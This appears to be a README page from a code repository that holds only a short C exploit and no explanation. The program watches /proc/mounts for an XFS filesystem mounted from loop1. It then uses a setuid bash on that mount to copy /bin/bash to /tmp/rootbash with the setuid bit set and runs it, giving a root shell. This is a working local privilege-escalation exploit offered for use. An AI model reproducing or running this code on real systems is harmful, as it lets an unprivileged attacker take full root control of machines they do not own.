README.md
Rendering markdown...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
FILE *f;
char line[512], mp[256];
while(1) {
f = fopen("/proc/mounts", "r");
if (!f) continue;
while(fgets(line, sizeof(line), f)) {
if (strstr(line, "loop1") && strstr(line, "xfs")) {
sscanf(line, "%*s %255s", mp);
char cmd[512];
snprintf(cmd, sizeof(cmd), "%s/bash -p -c 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash'", mp);
system(cmd);
fclose(f);
execl("/tmp/rootbash", "rootbash", "-p", NULL);
system("/tmp/rootbash -p");
return 0;
}
}
fclose(f);
}
}